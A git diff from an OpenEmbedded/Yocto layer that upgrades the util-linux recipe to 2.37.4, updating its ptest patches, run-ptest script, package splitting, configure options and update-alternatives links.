-FILES_${PN}-pylibmount = "${PYTHON_SITEPACKAGES_DIR}/libmount/pylibmount.so \
- ${PYTHON_SITEPACKAGES_DIR}/libmount/__init__.* \
- ${PYTHON_SITEPACKAGES_DIR}/libmount/__pycache__/*"
-
-# Util-linux' blkid replaces the e2fsprogs one
-RCONFLICTS_${PN}-blkid = "${MLPREFIX}e2fsprogs-blkid"
-RREPLACES_${PN}-blkid = "${MLPREFIX}e2fsprogs-blkid"
-
-RRECOMMENDS_${PN}_class-native = ""
-RRECOMMENDS_${PN}_class-nativesdk = ""
-RDEPENDS_${PN}_class-native = ""
-RDEPENDS_${PN}_class-nativesdk = ""
-
-RPROVIDES_${PN}-dev = "${PN}-libblkid-dev ${PN}-libmount-dev ${PN}-libuuid-dev"
-
-RDEPENDS_${PN}-bash-completion += "${PN}-lsblk"
-RDEPENDS_${PN}-ptest += "bash bc btrfs-tools coreutils e2fsprogs grep iproute2 kmod mdadm procps sed socat which xz"
-RRECOMMENDS_${PN}-ptest += "kernel-module-scsi-debug"
-RDEPENDS_${PN}-swaponoff = "${PN}-swapon ${PN}-swapoff"
-ALLOW_EMPTY_${PN}-swaponoff = "1"
-
-#SYSTEMD_PACKAGES = "${PN}-uuidd ${PN}-fstrim"
-SYSTEMD_SERVICE_${PN}-uuidd = "uuidd.socket uuidd.service"
-SYSTEMD_AUTO_ENABLE_${PN}-uuidd = "disable"
-SYSTEMD_SERVICE_${PN}-fstrim = "fstrim.timer fstrim.service"
-SYSTEMD_AUTO_ENABLE_${PN}-fstrim = "disable"
-
-do_install () {
- # with ccache the timestamps on compiled files may
- # end up earlier than on their inputs, this allows
- # for the resultant compilation in the install step.
- oe_runmake 'CC=${CC}' 'LD=${LD}' \
- 'LDFLAGS=${LDFLAGS}' 'DESTDIR=${D}' install
-
- mkdir -p ${D}${base_bindir}
-
- sbinprogs="agetty ctrlaltdel cfdisk vipw vigr"
- sbinprogs_a="pivot_root hwclock mkswap losetup swapon swapoff fdisk fsck blkid blockdev fstrim sulogin switch_root nologin"
- binprogs_a="dmesg getopt kill more umount mount login su mountpoint"
-
- if [ "${base_sbindir}" != "${sbindir}" ]; then
- mkdir -p ${D}${base_sbindir}
- for p in $sbinprogs $sbinprogs_a; do
- if [ -f "${D}${sbindir}/$p" ]; then
- mv "${D}${sbindir}/$p" "${D}${base_sbindir}/$p"
- fi
- done
- fi
-
- if [ "${base_bindir}" != "${bindir}" ]; then
- mkdir -p ${D}${base_bindir}
- for p in $binprogs_a; do
- if [ -f "${D}${bindir}/$p" ]; then
- mv "${D}${bindir}/$p" "${D}${base_bindir}/$p"
- fi
- done
- fi
-
- install -d ${D}${sysconfdir}/default/
- echo 'MOUNTALL="-t nonfs,nosmbfs,noncpfs"' > ${D}${sysconfdir}/default/mountall
-
- rm -f ${D}${bindir}/chkdupexe
-}
-
-do_install_append_class-target () {
- if [ "${@bb.utils.filter('PACKAGECONFIG', 'pam', d)}" ]; then
- install -d ${D}${sysconfdir}/pam.d
- install -m 0644 ${WORKDIR}/runuser.pamd ${D}${sysconfdir}/pam.d/runuser
- install -m 0644 ${WORKDIR}/runuser-l.pamd ${D}${sysconfdir}/pam.d/runuser-l
- # Required for "su -" aka "su --login" because
- # otherwise it uses "other", which has "auth pam_deny.so"
- # and thus prevents the operation.
- ln -s su ${D}${sysconfdir}/pam.d/su-l
- fi
-}
-# nologin causes a conflict with shadow-native
-# kill causes a conflict with coreutils-native (if ${bindir}==${base_bindir})
-do_install_append_class-native () {
- rm -f ${D}${base_sbindir}/nologin
- rm -f ${D}${base_bindir}/kill
-}
-
-ALTERNATIVE_PRIORITY = "80"
-
-ALTERNATIVE_LINK_NAME[blkid] = "${base_sbindir}/blkid"
-ALTERNATIVE_LINK_NAME[blockdev] = "${base_sbindir}/blockdev"
-ALTERNATIVE_LINK_NAME[cal] = "${bindir}/cal"
-ALTERNATIVE_LINK_NAME[chrt] = "${bindir}/chrt"
-ALTERNATIVE_LINK_NAME[dmesg] = "${base_bindir}/dmesg"
-ALTERNATIVE_LINK_NAME[eject] = "${bindir}/eject"
-ALTERNATIVE_LINK_NAME[fallocate] = "${bindir}/fallocate"
-ALTERNATIVE_LINK_NAME[fdisk] = "${base_sbindir}/fdisk"
-ALTERNATIVE_LINK_NAME[flock] = "${bindir}/flock"
-ALTERNATIVE_LINK_NAME[fsck] = "${base_sbindir}/fsck"
-ALTERNATIVE_LINK_NAME[fsfreeze] = "${sbindir}/fsfreeze"
-ALTERNATIVE_LINK_NAME[fstrim] = "${base_sbindir}/fstrim"
-ALTERNATIVE_LINK_NAME[getopt] = "${base_bindir}/getopt"
-ALTERNATIVE_${PN}-agetty = "getty"
-ALTERNATIVE_LINK_NAME[getty] = "${base_sbindir}/getty"
-ALTERNATIVE_TARGET[getty] = "${base_sbindir}/agetty"
-ALTERNATIVE_LINK_NAME[hexdump] = "${bindir}/hexdump"
-ALTERNATIVE_LINK_NAME[hwclock] = "${base_sbindir}/hwclock"
-ALTERNATIVE_LINK_NAME[ionice] = "${bindir}/ionice"
-ALTERNATIVE_LINK_NAME[kill] = "${base_bindir}/kill"
-ALTERNATIVE_${PN}-last = "last lastb"
-ALTERNATIVE_LINK_NAME[last] = "${bindir}/last"
-ALTERNATIVE_LINK_NAME[lastb] = "${bindir}/lastb"
-ALTERNATIVE_LINK_NAME[logger] = "${bindir}/logger"
-ALTERNATIVE_LINK_NAME[losetup] = "${base_sbindir}/losetup"
-ALTERNATIVE_LINK_NAME[mesg] = "${bindir}/mesg"
-ALTERNATIVE_LINK_NAME[mkswap] = "${base_sbindir}/mkswap"
-ALTERNATIVE_LINK_NAME[more] = "${base_bindir}/more"
-ALTERNATIVE_LINK_NAME[mount] = "${base_bindir}/mount"
-ALTERNATIVE_LINK_NAME[mountpoint] = "${base_bindir}/mountpoint"
-ALTERNATIVE_LINK_NAME[nologin] = "${base_sbindir}/nologin"
-ALTERNATIVE_LINK_NAME[nsenter] = "${bindir}/nsenter"
-ALTERNATIVE_LINK_NAME[pivot_root] = "${base_sbindir}/pivot_root"
-ALTERNATIVE_LINK_NAME[readprofile] = "${sbindir}/readprofile"
-ALTERNATIVE_LINK_NAME[renice] = "${bindir}/renice"
-ALTERNATIVE_LINK_NAME[rev] = "${bindir}/rev"
-ALTERNATIVE_LINK_NAME[rfkill] = "${sbindir}/rfkill"
-ALTERNATIVE_LINK_NAME[setpriv] = "${bindir}/setpriv"
-ALTERNATIVE_LINK_NAME[setsid] = "${bindir}/setsid"
-ALTERNATIVE_LINK_NAME[su] = "${base_bindir}/su"
-ALTERNATIVE_LINK_NAME[sulogin] = "${base_sbindir}/sulogin"
-ALTERNATIVE_LINK_NAME[swapoff] = "${base_sbindir}/swapoff"
-ALTERNATIVE_LINK_NAME[swapon] = "${base_sbindir}/swapon"
-ALTERNATIVE_LINK_NAME[switch_root] = "${base_sbindir}/switch_root"
-ALTERNATIVE_LINK_NAME[taskset] = "${bindir}/taskset"
-ALTERNATIVE_LINK_NAME[umount] = "${base_bindir}/umount"
-ALTERNATIVE_LINK_NAME[unshare] = "${bindir}/unshare"
-ALTERNATIVE_LINK_NAME[utmpdump] = "${bindir}/utmpdump"
-ALTERNATIVE_LINK_NAME[wall] = "${bindir}/wall"
-
-ALTERNATIVE_${PN}-doc = "\
-blkid.8 eject.1 findfs.8 fsck.8 kill.1 last.1 lastb.1 libblkid.3 logger.1 mesg.1 \
-mountpoint.1 nologin.8 rfkill.8 sulogin.8 utmpdump.1 uuid.3 wall.1\
-"
-ALTERNATIVE_${PN}-doc += "${@bb.utils.contains('PACKAGECONFIG', 'pam', 'su.1', '', d)}"
-
-ALTERNATIVE_LINK_NAME[blkid.8] = "${mandir}/man8/blkid.8"
-ALTERNATIVE_LINK_NAME[eject.1] = "${mandir}/man1/eject.1"
-ALTERNATIVE_LINK_NAME[findfs.8] = "${mandir}/man8/findfs.8"
-ALTERNATIVE_LINK_NAME[fsck.8] = "${mandir}/man8/fsck.8"
-ALTERNATIVE_LINK_NAME[kill.1] = "${mandir}/man1/kill.1"
-ALTERNATIVE_LINK_NAME[last.1] = "${mandir}/man1/last.1"
-ALTERNATIVE_LINK_NAME[lastb.1] = "${mandir}/man1/lastb.1"
-ALTERNATIVE_LINK_NAME[libblkid.3] = "${mandir}/man3/libblkid.3"
-ALTERNATIVE_LINK_NAME[logger.1] = "${mandir}/man1/logger.1"
-ALTERNATIVE_LINK_NAME[mesg.1] = "${mandir}/man1/mesg.1"
-ALTERNATIVE_LINK_NAME[mountpoint.1] = "${mandir}/man1/mountpoint.1"
-ALTERNATIVE_LINK_NAME[nologin.8] = "${mandir}/man8/nologin.8"
-ALTERNATIVE_LINK_NAME[rfkill.8] = "${mandir}/man8/rfkill.8"
-ALTERNATIVE_LINK_NAME[setpriv.1] = "${mandir}/man1/setpriv.1"
-ALTERNATIVE_LINK_NAME[su.1] = "${mandir}/man1/su.1"
-ALTERNATIVE_LINK_NAME[sulogin.8] = "${mandir}/man8/sulogin.8"
-ALTERNATIVE_LINK_NAME[utmpdump.1] = "${mandir}/man1/utmpdump.1"
-ALTERNATIVE_LINK_NAME[uuid.3] = "${mandir}/man3/uuid.3"
-ALTERNATIVE_LINK_NAME[wall.1] = "${mandir}/man1/wall.1"
-
-
-BBCLASSEXTEND = "native nativesdk"
-
-PTEST_BINDIR = "1"
-do_compile_ptest() {
- oe_runmake buildtest-TESTS
-}
-
-do_install_ptest() {
- mkdir -p ${D}${PTEST_PATH}/tests/ts
- find . -name 'test*' -maxdepth 1 -type f -perm -111 -exec cp {} ${D}${PTEST_PATH} \;
- find ./.libs -name 'sample*' -maxdepth 1 -type f -perm -111 -exec cp {} ${D}${PTEST_PATH} \;
- find ./.libs -name 'test*' -maxdepth 1 -type f -perm -111 -exec cp {} ${D}${PTEST_PATH} \;
-
- cp ${S}/tests/*.sh ${D}${PTEST_PATH}/tests/
- cp -pR ${S}/tests/expected ${D}${PTEST_PATH}/tests/expected
- cp -pR ${S}/tests/ts ${D}${PTEST_PATH}/tests/
- cp ${WORKDIR}/build/config.h ${D}${PTEST_PATH}
-
- # The original paths of executables to be tested point to a local folder containing
- # the executables. We want to test the installed executables, not the local copies.
- # So strip the paths, the executables will be located via "which"
- sed -i \
- -e '/^TS_CMD/ s|$top_builddir/||g' \
- -e '/^TS_HELPER/ s|$top_builddir|${PTEST_PATH}|g' \
- ${D}${PTEST_PATH}/tests/commands.sh
-
- # Change 'if [ ! -x "$1" ]' to 'if [ ! -x "`which $1 2>/dev/null`"]'
- sed -i -e \
- '/^\tif[[:space:]]\[[[:space:]]![[:space:]]-x[[:space:]]"$1"/s|$1|`which $1 2>/dev/null`|g' \
- ${D}${PTEST_PATH}/tests/functions.sh
-
- # Running "kill" without the the complete path would use the shell's built-in kill
- sed -i -e \
- '/^TS_CMD_KILL/ s|kill|${PTEST_PATH}/bin/kill|g' \
- ${D}${PTEST_PATH}/tests/commands.sh
-
-
- sed -i 's|@base_sbindir@|${base_sbindir}|g' ${D}${PTEST_PATH}/run-ptest
-
-}
+SRC_URI[sha256sum] = "634e6916ad913366c3536b6468e7844769549b99a7b2bf80314de78ab5655b83"
diff --git a/meta/recipes-core/util-linux/util-linux/0001-lsblk-force-to-print-PKNAME-for-partition.patch b/meta/recipes-core/util-linux/util-linux/0001-lsblk-force-to-print-PKNAME-for-partition.patch
deleted file mode 100644
index 5d4c148fb3..0000000000
--- a/meta/recipes-core/util-linux/util-linux/0001-lsblk-force-to-print-PKNAME-for-partition.patch
+++ /dev/null
@@ -1,36 +0,0 @@
-From e3bb9bfb76c17b1d05814436ced62c05c4011f48 Mon Sep 17 00:00:00 2001
-From: Karel Zak <kzak@redhat.com>
-Date: Thu, 27 Jun 2019 09:22:18 +0200
-Subject: [PATCH] lsblk: force to print PKNAME for partition
-
-PKNAME (parent kernel device name) is based on printed tree according
-to parent -> child relationship. The tree is optional and not printed
-if partition specified (.e.g "lsblk -o+PKNAME /dev/sda1"), but old
-versions print the PKNAME also in this case.
-
-Upstream-Status: Backport [https://github.com/karelzak/util-linux/commit/e3bb9bfb76c17b1d05814436ced62c05c4011f48]
-
-Addresses: https://github.com/karelzak/util-linux/issues/813
-Signed-off-by: Karel Zak <kzak@redhat.com>
-Signed-off-by: Liwei Song <liwei.song@windriver.com>
----
- misc-utils/lsblk.c | 3 +++
- 1 file changed, 3 insertions(+)
-
-diff --git a/misc-utils/lsblk.c b/misc-utils/lsblk.c
-index e95af7af0256..3ce6da730264 100644
---- a/misc-utils/lsblk.c
-+++ b/misc-utils/lsblk.c
-@@ -1019,6 +1019,9 @@ static void device_to_scols(
- DBG(DEV, ul_debugobj(dev, "add '%s' to scols", dev->name));
- ON_DBG(DEV, if (ul_path_isopen_dirfd(dev->sysfs)) ul_debugobj(dev, " %s ---> is open!", dev->name));
-
-+ if (!parent && dev->wholedisk)
-+ parent = dev->wholedisk;
-+
- /* Do not print device more than one in --list mode */
- if (!(lsblk->flags & LSBLK_TREE) && dev->is_printed)
- return;
---
-2.17.1
-
diff --git a/meta/recipes-core/util-linux/util-linux/avoid_parallel_tests.patch b/meta/recipes-core/util-linux/util-linux/avoid_parallel_tests.patch
index 748b6ef096..f1cbdb3beb 100644
--- a/meta/recipes-core/util-linux/util-linux/avoid_parallel_tests.patch
+++ b/meta/recipes-core/util-linux/util-linux/avoid_parallel_tests.patch
@@ -1,20 +1,29 @@
+From ee3c7812e1efa6719af68b994804f0e6caceabd8 Mon Sep 17 00:00:00 2001
+From: Tudor Florea <tudor.florea@enea.com>
+Date: Mon, 14 Jun 2021 14:00:31 +0200
+Subject: [PATCH] util-linux: Add ptest
+
Ptest needs buildtest-TESTS and runtest-TESTS targets.
serial-tests is required to generate those targets.
-Revert run.sh script accordingly to serialize running tests
+Revert run.sh script accordingly to serialize running tests
Signed-off-by: Tudor Florea <tudor.florea@enea.com>
-Upstream-Status: Inappropriate
+Upstream-Status: Inappropriate
+
+---
+ configure.ac | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
-Index: util-linux-2.32/configure.ac
-===================================================================
---- util-linux-2.32.orig/configure.ac
-+++ util-linux-2.32/configure.ac
+diff --git a/configure.ac b/configure.ac
+index 5664f9f..075ef27 100644
+--- a/configure.ac
++++ b/configure.ac
@@ -11,7 +11,7 @@ AC_CONFIG_MACRO_DIR([m4])
dnl AC_USE_SYSTEM_EXTENSIONS must be called before any macros that run
- dnl the compiler (like AC_PROG_LIBTOOL) to avoid autoconf errors.
+ dnl the compiler (like LT_INIT) to avoid autoconf errors.
AC_USE_SYSTEM_EXTENSIONS
--AM_INIT_AUTOMAKE([-Wall foreign 1.10 tar-pax no-dist-gzip dist-xz subdir-objects])
-+AM_INIT_AUTOMAKE([-Wall foreign 1.10 tar-pax no-dist-gzip dist-xz subdir-objects serial-tests])
+-AM_INIT_AUTOMAKE([-Wall -Wno-portability foreign 1.10 tar-pax no-dist-gzip dist-xz subdir-objects])
++AM_INIT_AUTOMAKE([-Wall -Wno-portability foreign 1.10 tar-pax no-dist-gzip dist-xz subdir-objects serial-tests])
m4_ifdef([AM_SILENT_RULES], [AM_SILENT_RULES([yes])],
[AC_SUBST([AM_DEFAULT_VERBOSITY], [1])])
diff --git a/meta/recipes-core/util-linux/util-linux/ptest.patch b/meta/recipes-core/util-linux/util-linux/ptest.patch
index 0537f7d856..ba2bd3f6ac 100644
--- a/meta/recipes-core/util-linux/util-linux/ptest.patch
+++ b/meta/recipes-core/util-linux/util-linux/ptest.patch
@@ -1,23 +1,24 @@
-Define TESTS variable
+From af073c13ef184ca75811df688e0a0a25827b36c3 Mon Sep 17 00:00:00 2001
+From: Tudor Florea <tudor.florea@enea.com>
+Date: Thu, 3 Dec 2015 04:08:00 +0100
+Subject: [PATCH] Define TESTS variable
Signed-off-by: Tudor Florea <tudor.florea@enea.com>
Upstream-Status: Pending
+
---
Makefile.am | 1 +
1 file changed, 1 insertion(+)
diff --git a/Makefile.am b/Makefile.am
-index bbaccb1..7d5a6bb 100644
+index 886598d..1cf4346 100644
--- a/Makefile.am
+++ b/Makefile.am
-@@ -48,6 +48,7 @@ systemdsystemunit_DATA =
+@@ -57,6 +57,7 @@ systemdsystemunit_DATA =
dist_bashcompletion_DATA =
check_PROGRAMS =
dist_check_SCRIPTS =
+TESTS = $(check_PROGRAMS)
PATHFILES =
-
---
-2.8.3
-
+ ADOCFILES_COMMON =
diff --git a/meta/recipes-core/util-linux/util-linux/run-ptest b/meta/recipes-core/util-linux/util-linux/run-ptest
index e135ee583b..3a910be121 100644
--- a/meta/recipes-core/util-linux/util-linux/run-ptest
+++ b/meta/recipes-core/util-linux/util-linux/run-ptest
@@ -13,31 +13,12 @@ current_path=$(readlink -f $0)
export bindir=$(dirname $current_path)
export PATH=$bindir/bin:$PATH
-cd tests || exit 1
-
-comps=$(find ts/ -type f -perm -111 -regex ".*/[^\.~]*" | sort)
-
-
-echo
-echo "-------------------- util-linux regression tests --------------------"
-echo
-echo " For development purpose only. "
-echo " Don't execute on production system! "
-echo
-
-res=0
-count=0
-for ts in $comps;
-do
- $ts | sed -u '{
+./tests/run.sh --use-system-commands --parsable --show-diff | sed -u '{
s/^\(.*\):\(.*\) \.\.\. OK$/PASS: \1:\2/
s/^\(.*\):\(.*\) \.\.\. FAILED \(.*\)$/FAIL: \1:\2 \3/
s/^\(.*\):\(.*\) \.\.\. SKIPPED \(.*\)$/SKIP: \1:\2 \3/
- }'
-done
-
+ }'
if [ "x$UDEV_PID" != "x" ]; then
/etc/init.d/udev start
fi
-
diff --git a/meta/recipes-core/util-linux/util-linux_2.34.bb b/meta/recipes-core/util-linux/util-linux_2.34.bb
deleted file mode 100644
index e9c2d80e90..0000000000
--- a/meta/recipes-core/util-linux/util-linux_2.34.bb
+++ /dev/null
@@ -1,13 +0,0 @@
-require util-linux.inc
-
-SRC_URI += "file://configure-sbindir.patch \
- file://runuser.pamd \
- file://runuser-l.pamd \
- file://ptest.patch \
- file://run-ptest \
- file://display_testname_for_subtest.patch \
- file://avoid_parallel_tests.patch \
- file://0001-lsblk-force-to-print-PKNAME-for-partition.patch \
-"
-SRC_URI[md5sum] = "a78cbeaed9c39094b96a48ba8f891d50"
-SRC_URI[sha256sum] = "743f9d0c7252b6db246b659c1e1ce0bd45d8d4508b4dfa427bbb4a3e9b9f62b5"
diff --git a/meta/recipes-core/util-linux/util-linux_2.37.4.bb b/meta/recipes-core/util-linux/util-linux_2.37.4.bb
new file mode 100644
index 0000000000..d609c30067
--- /dev/null
+++ b/meta/recipes-core/util-linux/util-linux_2.37.4.bb
@@ -0,0 +1,320 @@
+require util-linux.inc
+
+#gtk-doc is not enabled as it requires xmlto which requires util-linux
+inherit autotools gettext manpages pkgconfig systemd update-alternatives python3-dir bash-completion ptest
+DEPENDS = "libcap-ng ncurses virtual/crypt zlib util-linux-libuuid"
+
+PACKAGES =+ "${PN}-swaponoff"
+PACKAGES += "${@bb.utils.contains('PACKAGECONFIG', 'pylibmount', '${PN}-pylibmount', '', d)}"
+
+python util_linux_binpackages () {
+ def pkg_hook(f, pkg, file_regex, output_pattern, modulename):
+ pn = d.getVar('PN')
+ d.appendVar('RRECOMMENDS:%s' % pn, ' %s' % pkg)
+
+ if d.getVar('ALTERNATIVE:' + pkg):
+ return
+ if d.getVarFlag('ALTERNATIVE_LINK_NAME', modulename):
+ d.setVar('ALTERNATIVE:' + pkg, modulename)
+
+ bindirs = sorted(list(set(d.expand("${base_sbindir} ${base_bindir} ${sbindir} ${bindir}").split())))
+ for dir in bindirs:
+ do_split_packages(d, root=dir,
+ file_regex=r'(.*)', output_pattern='${PN}-%s',
+ description='${PN} %s',
+ hook=pkg_hook, extra_depends='')
+
+ # There are some symlinks for some binaries which we have ignored
+ # above. Add them to the package owning the binary they are
+ # pointing to
+ extras = {}
+ dvar = d.getVar('PKGD')
+ for root in bindirs:
+ for walkroot, dirs, files in os.walk(dvar + root):
+ for f in files:
+ file = os.path.join(walkroot, f)
+ if not os.path.islink(file):
+ continue
+
+ pkg = os.path.basename(os.readlink(file))
+ extras.setdefault(pkg, [])
+ extras[pkg].append(file.replace(dvar, '', 1))
+
+ pn = d.getVar('PN')
+ for pkg, links in extras.items():
+ of = d.getVar('FILES:' + pn + '-' + pkg)
+ links = of + " " + " ".join(sorted(links))
+ d.setVar('FILES:' + pn + '-' + pkg, links)
+}
+
+# we must execute before update-alternatives PACKAGE_PREPROCESS_FUNCS
+PACKAGE_PREPROCESS_FUNCS =+ "util_linux_binpackages "
+
+# skip libuuid as it will be packaged by the util-linux-libuuid recipe
+python util_linux_libpackages() {
+ do_split_packages(d, root=d.getVar('UTIL_LINUX_LIBDIR'), file_regex=r'^lib(?!uuid)(.*)\.so\..*$',
+ output_pattern='${PN}-lib%s',
+ description='${PN} lib%s',
+ extra_depends='', prepend=True, allow_links=True)
+}
+
+PACKAGESPLITFUNCS =+ "util_linux_libpackages"
+
+PACKAGES_DYNAMIC = "^${PN}-.*"
+
+CACHED_CONFIGUREVARS += "scanf_cv_alloc_modifier=ms"
+UTIL_LINUX_LIBDIR = "${libdir}"
+UTIL_LINUX_LIBDIR:class-target = "${base_libdir}"
+EXTRA_OECONF = "\
+ --enable-libuuid --enable-libblkid \
+ \
+ --enable-fsck --enable-kill --enable-last --enable-mesg \
+ --enable-mount --enable-partx --enable-raw --enable-rfkill \
+ --enable-unshare --enable-write \
+ \
+ --disable-bfs --disable-login \
+ --disable-makeinstall-chown --disable-minix --disable-newgrp \
+ --disable-use-tty-group --disable-vipw --disable-raw \
+ \
+ --without-udev \
+ \
+ usrsbin_execdir='${sbindir}' \
+ --libdir='${UTIL_LINUX_LIBDIR}' \
+"
+
+EXTRA_OECONF:append:class-target = " --enable-setpriv"
+EXTRA_OECONF:append:class-native = " --without-cap-ng --disable-setpriv"
+EXTRA_OECONF:append:class-nativesdk = " --without-cap-ng --disable-setpriv"
+EXTRA_OECONF:append = " --disable-hwclock-gplv3"
+
+# enable pcre2 for native/nativesdk to match host distros
+# this helps to keep same expectations when using the SDK or
+# build host versions during development
+#
+PACKAGECONFIG ?= "pcre2"
+PACKAGECONFIG:class-target ?= "${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'chfn-chsh pam', '', d)}"
+# inherit manpages requires this to be present, however util-linux does not have
+# configuration options, and installs manpages always
+PACKAGECONFIG[manpages] = ""
+PACKAGECONFIG[pam] = "--enable-su --enable-runuser,--disable-su --disable-runuser, libpam,"
+# Respect the systemd feature for uuidd
+PACKAGECONFIG[systemd] = "--with-systemd --with-systemdsystemunitdir=${systemd_system_unitdir}, --without-systemd --without-systemdsystemunitdir,systemd"
+# Build python bindings for libmount
+PACKAGECONFIG[pylibmount] = "--with-python=3 --enable-pylibmount,--without-python --disable-pylibmount,python3"
+# Readline support
+PACKAGECONFIG[readline] = "--with-readline,--without-readline,readline"
+# PCRE support in hardlink
+PACKAGECONFIG[pcre2] = ",,libpcre2"
+PACKAGECONFIG[cryptsetup] = "--with-cryptsetup,--without-cryptsetup,cryptsetup"
+PACKAGECONFIG[chfn-chsh] = "--enable-chfn-chsh,--disable-chfn-chsh,"
+
+EXTRA_OEMAKE = "ARCH=${TARGET_ARCH} CPU= CPUOPT= 'OPT=${CFLAGS}'"
+
+ALLOW_EMPTY:${PN} = "1"
+FILES:${PN} = ""
+FILES:${PN}-doc += "${datadir}/getopt/getopt-*.*"
+FILES:${PN}-dev += "${PYTHON_SITEPACKAGES_DIR}/libmount/pylibmount.la"
+FILES:${PN}-mount = "${sysconfdir}/default/mountall"
+FILES:${PN}-runuser = "${sysconfdir}/pam.d/runuser*"
+FILES:${PN}-su = "${sysconfdir}/pam.d/su-l"
+CONFFILES:${PN}-su = "${sysconfdir}/pam.d/su-l"
+FILES:${PN}-pylibmount = "${PYTHON_SITEPACKAGES_DIR}/libmount/pylibmount.so \
+ ${PYTHON_SITEPACKAGES_DIR}/libmount/__init__.* \
+ ${PYTHON_SITEPACKAGES_DIR}/libmount/__pycache__/*"
+
+# Util-linux' blkid replaces the e2fsprogs one
+RCONFLICTS:${PN}-blkid = "${MLPREFIX}e2fsprogs-blkid"
+RREPLACES:${PN}-blkid = "${MLPREFIX}e2fsprogs-blkid"
+
+RRECOMMENDS:${PN}:class-native = ""
+RRECOMMENDS:${PN}:class-nativesdk = ""
+RDEPENDS:${PN}:class-native = ""
+RDEPENDS:${PN}:class-nativesdk = ""
+
+RDEPENDS:${PN} += " util-linux-libuuid"
+RDEPENDS:${PN}-dev += " util-linux-libuuid-dev"
+
+RPROVIDES:${PN}-dev = "${PN}-libblkid-dev ${PN}-libmount-dev"
+
+RDEPENDS:${PN}-bash-completion += "${PN}-lsblk"
+RDEPENDS:${PN}-ptest += "bash bc btrfs-tools coreutils e2fsprogs findutils grep iproute2 kmod mdadm procps sed socat which xz"
+RRECOMMENDS:${PN}-ptest += "kernel-module-scsi-debug kernel-module-sd-mod kernel-module-loop"
+RDEPENDS:${PN}-swaponoff = "${PN}-swapon ${PN}-swapoff"
+ALLOW_EMPTY:${PN}-swaponoff = "1"
+
+#SYSTEMD_PACKAGES = "${PN}-uuidd ${PN}-fstrim"
+SYSTEMD_SERVICE:${PN}-uuidd = "uuidd.socket uuidd.service"
+SYSTEMD_AUTO_ENABLE:${PN}-uuidd = "disable"
+SYSTEMD_SERVICE:${PN}-fstrim = "fstrim.timer fstrim.service"
+SYSTEMD_AUTO_ENABLE:${PN}-fstrim = "disable"
+
+do_install () {
+ # with ccache the timestamps on compiled files may
+ # end up earlier than on their inputs, this allows
+ # for the resultant compilation in the install step.
+ oe_runmake 'CC=${CC}' 'LD=${LD}' \
+ 'LDFLAGS=${LDFLAGS}' 'DESTDIR=${D}' install
+
+ mkdir -p ${D}${base_bindir}
+
+ sbinprogs="agetty ctrlaltdel cfdisk vipw vigr"
+ sbinprogs_a="pivot_root hwclock mkswap losetup swapon swapoff fdisk fsck blkid blockdev fstrim sulogin switch_root nologin"
+ binprogs_a="dmesg getopt kill more umount mount login su mountpoint"
+
+ if [ "${base_sbindir}" != "${sbindir}" ]; then
+ mkdir -p ${D}${base_sbindir}
+ for p in $sbinprogs $sbinprogs_a; do
+ if [ -f "${D}${sbindir}/$p" ]; then
+ mv "${D}${sbindir}/$p" "${D}${base_sbindir}/$p"
+ fi
+ done
+ fi
+
+ if [ "${base_bindir}" != "${bindir}" ]; then
+ mkdir -p ${D}${base_bindir}
+ for p in $binprogs_a; do
+ if [ -f "${D}${bindir}/$p" ]; then
+ mv "${D}${bindir}/$p" "${D}${base_bindir}/$p"
+ fi
+ done
+ fi
+
+ install -d ${D}${sysconfdir}/default/
+ echo 'MOUNTALL="-t nonfs,nosmbfs,noncpfs"' > ${D}${sysconfdir}/default/mountall
+
+ rm -f ${D}${bindir}/chkdupexe
+}
+
+do_install:append:class-target () {
+ if [ "${@bb.utils.filter('PACKAGECONFIG', 'pam', d)}" ]; then
+ install -d ${D}${sysconfdir}/pam.d
+ install -m 0644 ${WORKDIR}/runuser.pamd ${D}${sysconfdir}/pam.d/runuser
+ install -m 0644 ${WORKDIR}/runuser-l.pamd ${D}${sysconfdir}/pam.d/runuser-l
+ # Required for "su -" aka "su --login" because
+ # otherwise it uses "other", which has "auth pam_deny.so"
+ # and thus prevents the operation.
+ ln -s su ${D}${sysconfdir}/pam.d/su-l
+ fi
+}
+# nologin causes a conflict with shadow-native
+# kill causes a conflict with coreutils-native (if ${bindir}==${base_bindir})
+do_install:append:class-native () {
+ rm -f ${D}${base_sbindir}/nologin
+ rm -f ${D}${base_bindir}/kill
+}
+
+# dm-verity support introduces a circular build dependency, so util-linux-libuuid is split out for target builds
+# Need to build libuuid for uuidgen, but then delete it and let the other recipe ship it
+do_install:append () {
+ rm -rf ${D}${includedir}/uuid ${D}${libdir}/pkgconfig/uuid.pc ${D}${libdir}/libuuid* ${D}${base_libdir}/libuuid*
+}
+
+ALTERNATIVE_PRIORITY = "80"
+
+ALTERNATIVE_LINK_NAME[blkid] = "${base_sbindir}/blkid"
+ALTERNATIVE_LINK_NAME[blockdev] = "${base_sbindir}/blockdev"
+ALTERNATIVE_LINK_NAME[cal] = "${bindir}/cal"
+ALTERNATIVE_LINK_NAME[chfn] = "${bindir}/chfn"
+ALTERNATIVE_LINK_NAME[chsh] = "${bindir}/chsh"
+ALTERNATIVE_LINK_NAME[chrt] = "${bindir}/chrt"
+ALTERNATIVE_LINK_NAME[dmesg] = "${base_bindir}/dmesg"
+ALTERNATIVE_LINK_NAME[eject] = "${bindir}/eject"
+ALTERNATIVE_LINK_NAME[fallocate] = "${bindir}/fallocate"
+ALTERNATIVE_LINK_NAME[fdisk] = "${base_sbindir}/fdisk"
+ALTERNATIVE_LINK_NAME[flock] = "${bindir}/flock"
+ALTERNATIVE_LINK_NAME[fsck] = "${base_sbindir}/fsck"
+ALTERNATIVE_LINK_NAME[fsfreeze] = "${sbindir}/fsfreeze"
+ALTERNATIVE_LINK_NAME[fstrim] = "${base_sbindir}/fstrim"
+ALTERNATIVE_LINK_NAME[getopt] = "${base_bindir}/getopt"
+ALTERNATIVE:${PN}-agetty = "getty"
+ALTERNATIVE_LINK_NAME[getty] = "${base_sbindir}/getty"
+ALTERNATIVE_TARGET[getty] = "${base_sbindir}/agetty"
+ALTERNATIVE_LINK_NAME[hexdump] = "${bindir}/hexdump"
+ALTERNATIVE_LINK_NAME[hwclock] = "${base_sbindir}/hwclock"
+ALTERNATIVE_LINK_NAME[ionice] = "${bindir}/ionice"
+ALTERNATIVE_LINK_NAME[kill] = "${base_bindir}/kill"
+ALTERNATIVE:${PN}-last = "last lastb"
+ALTERNATIVE_LINK_NAME[last] = "${bindir}/last"
+ALTERNATIVE_LINK_NAME[lastb] = "${bindir}/lastb"
